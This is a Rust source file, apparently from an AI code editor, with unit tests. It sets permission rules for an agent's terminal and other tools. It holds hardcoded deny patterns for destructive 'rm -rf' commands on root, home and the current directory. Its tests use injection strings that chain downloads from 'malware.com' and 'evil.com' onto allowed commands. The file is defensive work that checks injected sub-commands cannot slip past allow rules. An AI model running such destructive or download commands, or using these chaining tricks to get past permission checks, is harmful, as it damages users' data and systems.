tool_permissions.rs

   1use crate::AgentTool;
   2use crate::shell_parser::extract_commands;
   3use crate::tools::TerminalTool;
   4use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
   5use settings::ToolPermissionMode;
   6use std::sync::LazyLock;
   7use util::shell::ShellKind;
   8
   9const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
  10     harmful to be allowed, and cannot be overridden by settings.";
  11
  12/// Security rules that are always enforced and cannot be overridden by any setting.
  13/// These protect against catastrophic operations like wiping filesystems.
  14pub struct HardcodedSecurityRules {
  15    pub terminal_deny: Vec<CompiledRegex>,
  16}
  17
  18pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
  19    HardcodedSecurityRules {
  20        // Case-insensitive; `(-[rf]+\s+)*` handles `-rf`, `-fr`, `-RF`, `-r -f`, etc.
  21        terminal_deny: vec![
  22            // Recursive deletion of root - "rm -rf /" or "rm -rf / "
  23            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*/\s*$", false)
  24                .expect("hardcoded regex should compile"),
  25            // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" (but not ~/subdir)
  26            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*~/?\s*$", false)
  27                .expect("hardcoded regex should compile"),
  28            // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}"
  29            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*(\$HOME|\$\{HOME\})/?\s*$", false)
  30                .expect("hardcoded regex should compile"),
  31            // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./"
  32            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\./?\s*$", false)
  33                .expect("hardcoded regex should compile"),
  34            // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../"
  35            CompiledRegex::new(r"rm\s+(-[rf]+\s+)*\.\./?\s*$", false)
  36                .expect("hardcoded regex should compile"),
  37        ],
  38    }
  39});
  40
  41/// Checks if input matches any hardcoded security rules that cannot be bypassed.
  42/// Returns a Deny decision if blocked, None otherwise.
  43fn check_hardcoded_security_rules(
  44    tool_name: &str,
  45    input: &str,
  46    shell_kind: ShellKind,
  47) -> Option<ToolPermissionDecision> {
  48    // Currently only terminal tool has hardcoded rules
  49    if tool_name != TerminalTool::name() {
  50        return None;
  51    }
  52
  53    let rules = &*HARDCODED_SECURITY_RULES;
  54    let terminal_patterns = &rules.terminal_deny;
  55
  56    // First: check the original input as-is
  57    for pattern in terminal_patterns {
  58        if pattern.is_match(input) {
  59            return Some(ToolPermissionDecision::Deny(
  60                HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  61            ));
  62        }
  63    }
  64
  65    // Second: parse and check individual sub-commands (for chained commands)
  66    if shell_kind.supports_posix_chaining() {
  67        if let Some(commands) = extract_commands(input) {
  68            for command in &commands {
  69                for pattern in terminal_patterns {
  70                    if pattern.is_match(command) {
  71                        return Some(ToolPermissionDecision::Deny(
  72                            HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
  73                        ));
  74                    }
  75                }
  76            }
  77        }
  78    }
  79
  80    None
  81}
  82
  83#[derive(Debug, Clone, PartialEq, Eq)]
  84pub enum ToolPermissionDecision {
  85    Allow,
  86    Deny(String),
  87    Confirm,
  88}
  89
  90impl ToolPermissionDecision {
  91    /// Determines the permission decision for a tool invocation based on configured rules.
  92    ///
  93    /// # Precedence Order (highest to lowest)
  94    ///
  95    /// 1. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
  96    ///    prompting. This global setting bypasses all other checks including deny patterns.
  97    ///    Use with caution as it disables all security rules.
  98    /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
  99    ///    This takes precedence over `always_confirm` and `always_allow` patterns.
 100    /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
 101    ///    the user is prompted for confirmation.
 102    /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
 103    ///    the tool call proceeds without prompting.
 104    /// 5. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
 105    ///
 106    /// # Shell Compatibility (Terminal Tool Only)
 107    ///
 108    /// For the terminal tool, commands are parsed to extract sub-commands for security.
 109    /// This parsing only works for shells with POSIX-like `&&` / `||` / `;` / `|` syntax:
 110    ///
 111    /// **Compatible shells:** Posix (sh, bash, dash, zsh), Fish 3.0+, PowerShell 7+/Pwsh,
 112    /// Cmd, Xonsh, Csh, Tcsh
 113    ///
 114    /// **Incompatible shells:** Nushell, Elvish, Rc (Plan 9)
 115    ///
 116    /// For incompatible shells, `always_allow` patterns are disabled for safety.
 117    ///
 118    /// # Pattern Matching Tips
 119    ///
 120    /// Patterns are matched as regular expressions against the tool input (e.g., the command
 121    /// string for the terminal tool). Some tips for writing effective patterns:
 122    ///
 123    /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
 124    ///   match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
 125    ///   This is important for security rules where you want to block specific commands
 126    ///   without accidentally blocking unrelated commands that happen to contain the same
 127    ///   substring.
 128    /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
 129    /// - Use `^` and `$` anchors to match the start/end of the input.
 130    pub fn from_input(
 131        tool_name: &str,
 132        input: &str,
 133        permissions: &ToolPermissions,
 134        always_allow_tool_actions: bool,
 135        shell_kind: ShellKind,
 136    ) -> ToolPermissionDecision {
 137        // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
 138        // These cannot be bypassed by any user settings.
 139        if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
 140            return denial;
 141        }
 142
 143        // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
 144        // Note: This no longer bypasses hardcoded security rules (checked above).
 145        if always_allow_tool_actions {
 146            return ToolPermissionDecision::Allow;
 147        }
 148
 149        let rules = match permissions.tools.get(tool_name) {
 150            Some(rules) => rules,
 151            None => {
 152                return ToolPermissionDecision::Confirm;
 153            }
 154        };
 155
 156        // Check for invalid regex patterns before evaluating rules.
 157        // If any patterns failed to compile, block the tool call entirely.
 158        if let Some(error) = check_invalid_patterns(tool_name, rules) {
 159            return ToolPermissionDecision::Deny(error);
 160        }
 161
 162        // For the terminal tool, parse the command to extract all sub-commands.
 163        // This prevents shell injection attacks where a user configures an allow
 164        // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
 165        //
 166        // If parsing fails or the shell syntax is unsupported, always_allow is
 167        // disabled for this command (we set allow_enabled to false to signal this).
 168        if tool_name == TerminalTool::name() {
 169            // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
 170            // See the doc comment above for the list of compatible/incompatible shells.
 171            if !shell_kind.supports_posix_chaining() {
 172                // For shells with incompatible syntax, we can't reliably parse
 173                // the command to extract sub-commands.
 174                if !rules.always_allow.is_empty() {
 175                    // If the user has configured always_allow patterns, we must deny
 176                    // because we can't safely verify the command doesn't contain
 177                    // hidden sub-commands that bypass the allow patterns.
 178                    return ToolPermissionDecision::Deny(format!(
 179                        "The {} shell does not support \"always allow\" patterns for the terminal \
 180                         tool because Zed cannot parse its command chaining syntax. Please remove \
 181                         the always_allow patterns from your tool_permissions settings, or switch \
 182                         to a POSIX-conforming shell.",
 183                        shell_kind
 184                    ));
 185                }
 186                // No always_allow rules, so we can still check deny/confirm patterns.
 187                return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
 188            }
 189
 190            match extract_commands(input) {
 191                Some(commands) => check_commands(commands, rules, tool_name, true),
 192                None => {
 193                    // The command failed to parse, so we check to see if we should auto-deny
 194                    // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
 195                    // fall back on the default (based on the user's settings, which is Confirm
 196                    // if not specified otherwise). Ignore "always allow" when it failed to parse.
 197                    check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
 198                }
 199            }
 200        } else {
 201            check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
 202        }
 203    }
 204}
 205
 206/// Evaluates permission rules against a set of commands.
 207///
 208/// This function performs a single pass through all commands with the following logic:
 209/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
 210/// - **CONFIRM**: Track if ANY command matches a confirm pattern
 211/// - **ALLOW**: Track if ALL commands match at least one allow pattern
 212///
 213/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
 214/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
 215/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
 216fn check_commands(
 217    commands: impl IntoIterator<Item = String>,
 218    rules: &ToolRules,
 219    tool_name: &str,
 220    allow_enabled: bool,
 221) -> ToolPermissionDecision {
 222    // Single pass through all commands:
 223    // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
 224    // - CONFIRM: Track if ANY command matches a confirm pattern
 225    // - ALLOW: Track if ALL commands match at least one allow pattern
 226    let mut any_matched_confirm = false;
 227    let mut all_matched_allow = true;
 228    let mut had_any_commands = false;
 229
 230    for command in commands {
 231        had_any_commands = true;
 232
 233        // DENY: immediate return if any command matches a deny pattern
 234        if rules.always_deny.iter().any(|r| r.is_match(&command)) {
 235            return ToolPermissionDecision::Deny(format!(
 236                "Command blocked by security rule for {} tool",
 237                tool_name
 238            ));
 239        }
 240
 241        // CONFIRM: remember if any command matches a confirm pattern
 242        if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
 243            any_matched_confirm = true;
 244        }
 245
 246        // ALLOW: track if all commands match at least one allow pattern
 247        if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
 248            all_matched_allow = false;
 249        }
 250    }
 251
 252    // After processing all commands, check accumulated state
 253    if any_matched_confirm {
 254        return ToolPermissionDecision::Confirm;
 255    }
 256
 257    if allow_enabled && all_matched_allow && had_any_commands {
 258        return ToolPermissionDecision::Allow;
 259    }
 260
 261    match rules.default_mode {
 262        ToolPermissionMode::Deny => {
 263            ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
 264        }
 265        ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
 266        ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
 267    }
 268}
 269
 270/// Checks if the tool rules contain any invalid regex patterns.
 271/// Returns an error message if invalid patterns are found.
 272fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
 273    if rules.invalid_patterns.is_empty() {
 274        return None;
 275    }
 276
 277    let count = rules.invalid_patterns.len();
 278    let pattern_word = if count == 1 { "pattern" } else { "patterns" };
 279
 280    Some(format!(
 281        "The {} tool cannot run because {} regex {} failed to compile. \
 282         Please fix the invalid patterns in your tool_permissions settings.",
 283        tool_name, count, pattern_word
 284    ))
 285}
 286
 287/// Convenience wrapper that extracts permission settings from `AgentSettings`.
 288///
 289/// This is the primary entry point for tools to check permissions. It extracts
 290/// `tool_permissions` and `always_allow_tool_actions` from the settings and
 291/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
 292pub fn decide_permission_from_settings(
 293    tool_name: &str,
 294    input: &str,
 295    settings: &AgentSettings,
 296) -> ToolPermissionDecision {
 297    ToolPermissionDecision::from_input(
 298        tool_name,
 299        input,
 300        &settings.tool_permissions,
 301        settings.always_allow_tool_actions,
 302        ShellKind::system(),
 303    )
 304}
 305
 306#[cfg(test)]
 307mod tests {
 308    use super::*;
 309    use crate::pattern_extraction::extract_terminal_pattern;
 310    use agent_settings::{CompiledRegex, InvalidRegexPattern, ToolRules};
 311    use std::sync::Arc;
 312
 313    fn pattern(command: &str) -> &'static str {
 314        Box::leak(
 315            extract_terminal_pattern(command)
 316                .expect("failed to extract pattern")
 317                .into_boxed_str(),
 318        )
 319    }
 320
 321    struct PermTest {
 322        tool: &'static str,
 323        input: &'static str,
 324        mode: ToolPermissionMode,
 325        allow: Vec<(&'static str, bool)>,
 326        deny: Vec<(&'static str, bool)>,
 327        confirm: Vec<(&'static str, bool)>,
 328        global: bool,
 329        shell: ShellKind,
 330    }
 331
 332    impl PermTest {
 333        fn new(input: &'static str) -> Self {
 334            Self {
 335                tool: "terminal",
 336                input,
 337                mode: ToolPermissionMode::Confirm,
 338                allow: vec![],
 339                deny: vec![],
 340                confirm: vec![],
 341                global: false,
 342                shell: ShellKind::Posix,
 343            }
 344        }
 345
 346        fn tool(mut self, t: &'static str) -> Self {
 347            self.tool = t;
 348            self
 349        }
 350        fn mode(mut self, m: ToolPermissionMode) -> Self {
 351            self.mode = m;
 352            self
 353        }
 354        fn allow(mut self, p: &[&'static str]) -> Self {
 355            self.allow = p.iter().map(|s| (*s, false)).collect();
 356            self
 357        }
 358        fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
 359            self.allow = p.iter().map(|s| (*s, true)).collect();
 360            self
 361        }
 362        fn deny(mut self, p: &[&'static str]) -> Self {
 363            self.deny = p.iter().map(|s| (*s, false)).collect();
 364            self
 365        }
 366        fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
 367            self.deny = p.iter().map(|s| (*s, true)).collect();
 368            self
 369        }
 370        fn confirm(mut self, p: &[&'static str]) -> Self {
 371            self.confirm = p.iter().map(|s| (*s, false)).collect();
 372            self
 373        }
 374        fn global(mut self, g: bool) -> Self {
 375            self.global = g;
 376            self
 377        }
 378        fn shell(mut self, s: ShellKind) -> Self {
 379            self.shell = s;
 380            self
 381        }
 382
 383        fn is_allow(self) {
 384            assert_eq!(
 385                self.run(),
 386                ToolPermissionDecision::Allow,
 387                "expected Allow for '{}'",
 388                self.input
 389            );
 390        }
 391        fn is_deny(self) {
 392            assert!(
 393                matches!(self.run(), ToolPermissionDecision::Deny(_)),
 394                "expected Deny for '{}'",
 395                self.input
 396            );
 397        }
 398        fn is_confirm(self) {
 399            assert_eq!(
 400                self.run(),
 401                ToolPermissionDecision::Confirm,
 402                "expected Confirm for '{}'",
 403                self.input
 404            );
 405        }
 406
 407        fn run(&self) -> ToolPermissionDecision {
 408            let mut tools = collections::HashMap::default();
 409            tools.insert(
 410                Arc::from(self.tool),
 411                ToolRules {
 412                    default_mode: self.mode,
 413                    always_allow: self
 414                        .allow
 415                        .iter()
 416                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 417                        .collect(),
 418                    always_deny: self
 419                        .deny
 420                        .iter()
 421                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 422                        .collect(),
 423                    always_confirm: self
 424                        .confirm
 425                        .iter()
 426                        .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
 427                        .collect(),
 428                    invalid_patterns: vec![],
 429                },
 430            );
 431            ToolPermissionDecision::from_input(
 432                self.tool,
 433                self.input,
 434                &ToolPermissions { tools },
 435                self.global,
 436                self.shell,
 437            )
 438        }
 439    }
 440
 441    fn t(input: &'static str) -> PermTest {
 442        PermTest::new(input)
 443    }
 444
 445    fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
 446        ToolPermissionDecision::from_input(
 447            "terminal",
 448            input,
 449            &ToolPermissions {
 450                tools: collections::HashMap::default(),
 451            },
 452            global,
 453            ShellKind::Posix,
 454        )
 455    }
 456
 457    // allow pattern matches
 458    #[test]
 459    fn allow_exact_match() {
 460        t("cargo test").allow(&[pattern("cargo")]).is_allow();
 461    }
 462    #[test]
 463    fn allow_one_of_many_patterns() {
 464        t("npm install")
 465            .allow(&[pattern("cargo"), pattern("npm")])
 466            .is_allow();
 467        t("git status")
 468            .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
 469            .is_allow();
 470    }
 471    #[test]
 472    fn allow_middle_pattern() {
 473        t("run cargo now").allow(&["cargo"]).is_allow();
 474    }
 475    #[test]
 476    fn allow_anchor_prevents_middle() {
 477        t("run cargo now").allow(&["^cargo"]).is_confirm();
 478    }
 479
 480    // allow pattern doesn't match -> falls through
 481    #[test]
 482    fn allow_no_match_confirms() {
 483        t("python x.py").allow(&[pattern("cargo")]).is_confirm();
 484    }
 485    #[test]
 486    fn allow_no_match_global_allows() {
 487        t("python x.py")
 488            .allow(&[pattern("cargo")])
 489            .global(true)
 490            .is_allow();
 491    }
 492
 493    // deny pattern matches (using commands that aren't blocked by hardcoded rules)
 494    #[test]
 495    fn deny_blocks() {
 496        t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 497    }
 498    #[test]
 499    fn global_bypasses_user_deny() {
 500        // always_allow_tool_actions bypasses user-configured deny rules
 501        t("rm -rf ./temp")
 502            .deny(&["rm\\s+-rf"])
 503            .global(true)
 504            .is_allow();
 505    }
 506    #[test]
 507    fn deny_blocks_with_mode_allow() {
 508        t("rm -rf ./temp")
 509            .deny(&["rm\\s+-rf"])
 510            .mode(ToolPermissionMode::Allow)
 511            .is_deny();
 512    }
 513    #[test]
 514    fn deny_middle_match() {
 515        t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
 516    }
 517    #[test]
 518    fn deny_no_match_falls_through() {
 519        t("ls -la")
 520            .deny(&["rm\\s+-rf"])
 521            .mode(ToolPermissionMode::Allow)
 522            .is_allow();
 523    }
 524
 525    // confirm pattern matches
 526    #[test]
 527    fn confirm_requires_confirm() {
 528        t("sudo apt install")
 529            .confirm(&[pattern("sudo")])
 530            .is_confirm();
 531    }
 532    #[test]
 533    fn global_overrides_confirm() {
 534        t("sudo reboot")
 535            .confirm(&[pattern("sudo")])
 536            .global(true)
 537            .is_allow();
 538    }
 539    #[test]
 540    fn confirm_overrides_mode_allow() {
 541        t("sudo x")
 542            .confirm(&["sudo"])
 543            .mode(ToolPermissionMode::Allow)
 544            .is_confirm();
 545    }
 546
 547    // confirm beats allow
 548    #[test]
 549    fn confirm_beats_allow() {
 550        t("git push --force")
 551            .allow(&[pattern("git")])
 552            .confirm(&["--force"])
 553            .is_confirm();
 554    }
 555    #[test]
 556    fn confirm_beats_allow_overlap() {
 557        t("deploy prod")
 558            .allow(&["deploy"])
 559            .confirm(&["prod"])
 560            .is_confirm();
 561    }
 562    #[test]
 563    fn allow_when_confirm_no_match() {
 564        t("git status")
 565            .allow(&[pattern("git")])
 566            .confirm(&["--force"])
 567            .is_allow();
 568    }
 569
 570    // deny beats allow
 571    #[test]
 572    fn deny_beats_allow() {
 573        t("rm -rf ./tmp/x")
 574            .allow(&["/tmp/"])
 575            .deny(&["rm\\s+-rf"])
 576            .is_deny();
 577    }
 578
 579    #[test]
 580    fn deny_beats_confirm() {
 581        t("sudo rm -rf ./temp")
 582            .confirm(&["sudo"])
 583            .deny(&["rm\\s+-rf"])
 584            .is_deny();
 585    }
 586
 587    // deny beats everything
 588    #[test]
 589    fn deny_beats_all() {
 590        t("bad cmd")
 591            .allow(&["cmd"])
 592            .confirm(&["cmd"])
 593            .deny(&["bad"])
 594            .is_deny();
 595    }
 596
 597    // no patterns -> default_mode
 598    #[test]
 599    fn default_confirm() {
 600        t("python x.py")
 601            .mode(ToolPermissionMode::Confirm)
 602            .is_confirm();
 603    }
 604    #[test]
 605    fn default_allow() {
 606        t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
 607    }
 608    #[test]
 609    fn default_deny() {
 610        t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
 611    }
 612    #[test]
 613    fn default_deny_global_true() {
 614        t("python x.py")
 615            .mode(ToolPermissionMode::Deny)
 616            .global(true)
 617            .is_allow();
 618    }
 619
 620    #[test]
 621    fn default_confirm_global_true() {
 622        t("x")
 623            .mode(ToolPermissionMode::Confirm)
 624            .global(true)
 625            .is_allow();
 626    }
 627
 628    #[test]
 629    fn no_rules_confirms_by_default() {
 630        assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
 631    }
 632
 633    #[test]
 634    fn empty_input_no_match() {
 635        t("")
 636            .deny(&["rm"])
 637            .mode(ToolPermissionMode::Allow)
 638            .is_allow();
 639    }
 640
 641    #[test]
 642    fn empty_input_with_allow_falls_to_default() {
 643        t("").allow(&["^ls"]).is_confirm();
 644    }
 645
 646    #[test]
 647    fn multi_deny_any_match() {
 648        t("rm x").deny(&["rm", "del", "drop"]).is_deny();
 649        t("drop x").deny(&["rm", "del", "drop"]).is_deny();
 650    }
 651
 652    #[test]
 653    fn multi_allow_any_match() {
 654        t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
 655    }
 656    #[test]
 657    fn multi_none_match() {
 658        t("python x")
 659            .allow(&["^cargo", "^npm"])
 660            .deny(&["rm"])
 661            .is_confirm();
 662    }
 663
 664    // tool isolation
 665    #[test]
 666    fn other_tool_not_affected() {
 667        let mut tools = collections::HashMap::default();
 668        tools.insert(
 669            Arc::from("terminal"),
 670            ToolRules {
 671                default_mode: ToolPermissionMode::Deny,
 672                always_allow: vec![],
 673                always_deny: vec![],
 674                always_confirm: vec![],
 675                invalid_patterns: vec![],
 676            },
 677        );
 678        tools.insert(
 679            Arc::from("edit_file"),
 680            ToolRules {
 681                default_mode: ToolPermissionMode::Allow,
 682                always_allow: vec![],
 683                always_deny: vec![],
 684                always_confirm: vec![],
 685                invalid_patterns: vec![],
 686            },
 687        );
 688        let p = ToolPermissions { tools };
 689        // With always_allow_tool_actions=true, even default_mode: Deny is overridden
 690        assert_eq!(
 691            ToolPermissionDecision::from_input("terminal", "x", &p, true, ShellKind::Posix),
 692            ToolPermissionDecision::Allow
 693        );
 694        // With always_allow_tool_actions=false, default_mode: Deny is respected
 695        assert!(matches!(
 696            ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
 697            ToolPermissionDecision::Deny(_)
 698        ));
 699        assert_eq!(
 700            ToolPermissionDecision::from_input("edit_file", "x", &p, false, ShellKind::Posix),
 701            ToolPermissionDecision::Allow
 702        );
 703    }
 704
 705    #[test]
 706    fn partial_tool_name_no_match() {
 707        let mut tools = collections::HashMap::default();
 708        tools.insert(
 709            Arc::from("term"),
 710            ToolRules {
 711                default_mode: ToolPermissionMode::Deny,
 712                always_allow: vec![],
 713                always_deny: vec![],
 714                always_confirm: vec![],
 715                invalid_patterns: vec![],
 716            },
 717        );
 718        let p = ToolPermissions { tools };
 719        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
 720        assert_eq!(
 721            ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
 722            ToolPermissionDecision::Confirm
 723        );
 724    }
 725
 726    // invalid patterns block the tool (but global bypasses all checks)
 727    #[test]
 728    fn invalid_pattern_blocks() {
 729        let mut tools = collections::HashMap::default();
 730        tools.insert(
 731            Arc::from("terminal"),
 732            ToolRules {
 733                default_mode: ToolPermissionMode::Allow,
 734                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
 735                always_deny: vec![],
 736                always_confirm: vec![],
 737                invalid_patterns: vec![InvalidRegexPattern {
 738                    pattern: "[bad".into(),
 739                    rule_type: "always_deny".into(),
 740                    error: "err".into(),
 741                }],
 742            },
 743        );
 744        let p = ToolPermissions {
 745            tools: tools.clone(),
 746        };
 747        // With global=true, all checks are bypassed including invalid pattern check
 748        assert!(matches!(
 749            ToolPermissionDecision::from_input("terminal", "echo hi", &p, true, ShellKind::Posix),
 750            ToolPermissionDecision::Allow
 751        ));
 752        // With global=false, invalid patterns block the tool
 753        assert!(matches!(
 754            ToolPermissionDecision::from_input("terminal", "echo hi", &p, false, ShellKind::Posix),
 755            ToolPermissionDecision::Deny(_)
 756        ));
 757    }
 758
 759    #[test]
 760    fn shell_injection_via_double_ampersand_not_allowed() {
 761        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
 762    }
 763
 764    #[test]
 765    fn shell_injection_via_semicolon_not_allowed() {
 766        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
 767    }
 768
 769    #[test]
 770    fn shell_injection_via_pipe_not_allowed() {
 771        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
 772    }
 773
 774    #[test]
 775    fn shell_injection_via_backticks_not_allowed() {
 776        t("echo `wget malware.com`")
 777            .allow(&[pattern("echo")])
 778            .is_confirm();
 779    }
 780
 781    #[test]
 782    fn shell_injection_via_dollar_parens_not_allowed() {
 783        t("echo $(wget malware.com)")
 784            .allow(&[pattern("echo")])
 785            .is_confirm();
 786    }
 787
 788    #[test]
 789    fn shell_injection_via_or_operator_not_allowed() {
 790        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
 791    }
 792
 793    #[test]
 794    fn shell_injection_via_background_operator_not_allowed() {
 795        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
 796    }
 797
 798    #[test]
 799    fn shell_injection_via_newline_not_allowed() {
 800        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
 801    }
 802
 803    #[test]
 804    fn shell_injection_via_process_substitution_input_not_allowed() {
 805        t("cat <(wget malware.com)").allow(&["^cat"]).is_confirm();
 806    }
 807
 808    #[test]
 809    fn shell_injection_via_process_substitution_output_not_allowed() {
 810        t("ls >(wget malware.com)").allow(&["^ls"]).is_confirm();
 811    }
 812
 813    #[test]
 814    fn shell_injection_without_spaces_not_allowed() {
 815        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
 816        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
 817    }
 818
 819    #[test]
 820    fn shell_injection_multiple_chained_operators_not_allowed() {
 821        t("ls && echo hello && wget malware.com")
 822            .allow(&["^ls"])
 823            .is_confirm();
 824    }
 825
 826    #[test]
 827    fn shell_injection_mixed_operators_not_allowed() {
 828        t("ls; echo hello && wget malware.com")
 829            .allow(&["^ls"])
 830            .is_confirm();
 831    }
 832
 833    #[test]
 834    fn shell_injection_pipe_stderr_not_allowed() {
 835        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
 836    }
 837
 838    #[test]
 839    fn allow_requires_all_commands_to_match() {
 840        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
 841    }
 842
 843    #[test]
 844    fn deny_triggers_on_any_matching_command() {
 845        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
 846    }
 847
 848    #[test]
 849    fn deny_catches_injected_command() {
 850        t("ls && rm -rf ./temp")
 851            .allow(&["^ls"])
 852            .deny(&["^rm"])
 853            .is_deny();
 854    }
 855
 856    #[test]
 857    fn confirm_triggers_on_any_matching_command() {
 858        t("ls && sudo reboot")
 859            .allow(&["^ls"])
 860            .confirm(&["^sudo"])
 861            .is_confirm();
 862    }
 863
 864    #[test]
 865    fn always_allow_button_works_end_to_end() {
 866        // This test verifies that the "Always Allow" button behavior works correctly:
 867        // 1. User runs a command like "cargo build"
 868        // 2. They click "Always Allow for `cargo` commands"
 869        // 3. The pattern extracted from that command should match future cargo commands
 870        let original_command = "cargo build --release";
 871        let extracted_pattern = pattern(original_command);
 872
 873        // The extracted pattern should allow the original command
 874        t(original_command).allow(&[extracted_pattern]).is_allow();
 875
 876        // It should also allow other commands with the same base command
 877        t("cargo test").allow(&[extracted_pattern]).is_allow();
 878        t("cargo fmt").allow(&[extracted_pattern]).is_allow();
 879
 880        // But not commands with different base commands
 881        t("npm install").allow(&[extracted_pattern]).is_confirm();
 882
 883        // And it should work with subcommand extraction (chained commands)
 884        t("cargo build && cargo test")
 885            .allow(&[extracted_pattern])
 886            .is_allow();
 887
 888        // But reject if any subcommand doesn't match
 889        t("cargo build && npm install")
 890            .allow(&[extracted_pattern])
 891            .is_confirm();
 892    }
 893
 894    #[test]
 895    fn nested_command_substitution_all_checked() {
 896        t("echo $(cat $(whoami).txt)")
 897            .allow(&["^echo", "^cat", "^whoami"])
 898            .is_allow();
 899    }
 900
 901    #[test]
 902    fn parse_failure_falls_back_to_confirm() {
 903        t("ls &&").allow(&["^ls$"]).is_confirm();
 904    }
 905
 906    #[test]
 907    fn mcp_tool_default_modes() {
 908        t("")
 909            .tool("mcp:fs:read")
 910            .mode(ToolPermissionMode::Allow)
 911            .is_allow();
 912        t("")
 913            .tool("mcp:bad:del")
 914            .mode(ToolPermissionMode::Deny)
 915            .is_deny();
 916        t("")
 917            .tool("mcp:gh:issue")
 918            .mode(ToolPermissionMode::Confirm)
 919            .is_confirm();
 920        t("")
 921            .tool("mcp:gh:issue")
 922            .mode(ToolPermissionMode::Confirm)
 923            .global(true)
 924            .is_allow();
 925    }
 926
 927    #[test]
 928    fn mcp_doesnt_collide_with_builtin() {
 929        let mut tools = collections::HashMap::default();
 930        tools.insert(
 931            Arc::from("terminal"),
 932            ToolRules {
 933                default_mode: ToolPermissionMode::Deny,
 934                always_allow: vec![],
 935                always_deny: vec![],
 936                always_confirm: vec![],
 937                invalid_patterns: vec![],
 938            },
 939        );
 940        tools.insert(
 941            Arc::from("mcp:srv:terminal"),
 942            ToolRules {
 943                default_mode: ToolPermissionMode::Allow,
 944                always_allow: vec![],
 945                always_deny: vec![],
 946                always_confirm: vec![],
 947                invalid_patterns: vec![],
 948            },
 949        );
 950        let p = ToolPermissions { tools };
 951        assert!(matches!(
 952            ToolPermissionDecision::from_input("terminal", "x", &p, false, ShellKind::Posix),
 953            ToolPermissionDecision::Deny(_)
 954        ));
 955        assert_eq!(
 956            ToolPermissionDecision::from_input(
 957                "mcp:srv:terminal",
 958                "x",
 959                &p,
 960                false,
 961                ShellKind::Posix
 962            ),
 963            ToolPermissionDecision::Allow
 964        );
 965    }
 966
 967    #[test]
 968    fn case_insensitive_by_default() {
 969        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
 970        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
 971    }
 972
 973    #[test]
 974    fn case_sensitive_allow() {
 975        t("cargo test")
 976            .allow_case_sensitive(&[pattern("cargo")])
 977            .is_allow();
 978        t("CARGO TEST")
 979            .allow_case_sensitive(&[pattern("cargo")])
 980            .is_confirm();
 981    }
 982
 983    #[test]
 984    fn case_sensitive_deny() {
 985        t("rm -rf ./temp")
 986            .deny_case_sensitive(&[pattern("rm")])
 987            .is_deny();
